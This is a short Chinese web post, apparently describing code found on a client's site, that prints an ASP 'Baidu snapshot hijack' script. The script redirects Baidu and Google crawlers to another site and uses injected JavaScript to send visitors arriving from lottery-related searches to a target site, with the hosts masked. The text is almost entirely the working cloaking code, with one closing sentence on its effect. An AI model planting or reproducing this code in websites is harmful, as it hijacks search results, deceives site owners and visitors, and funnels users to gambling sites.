百度快照内容劫持代码
浏览量:602
<%
function Getbot()
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"googlebot",1) > 0 then
GetBot="google"
end if
if instr(1,s_agent,"baiduspider",1) > 0 then
GetBot="baidu"
end if
end function
if GetBot="baidu" or GetBot="google" then
'
Response.Redirect "http://*********"(跳转的网站,引导百度抓取的内容)
else
'
Response.Write"<script type=""text/javascript"">var d=document.referrer;var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location='http://*********';(目标网站)window.adworkergo='ad_app6'}else{}</script>"
end if
%>这串代码导致百度爬虫抓取网页的时候,直接抓取越过客户网站抓取了跳转网站内容,导致百度快照里面显示的是别的内容。


感谢支持与鼓励~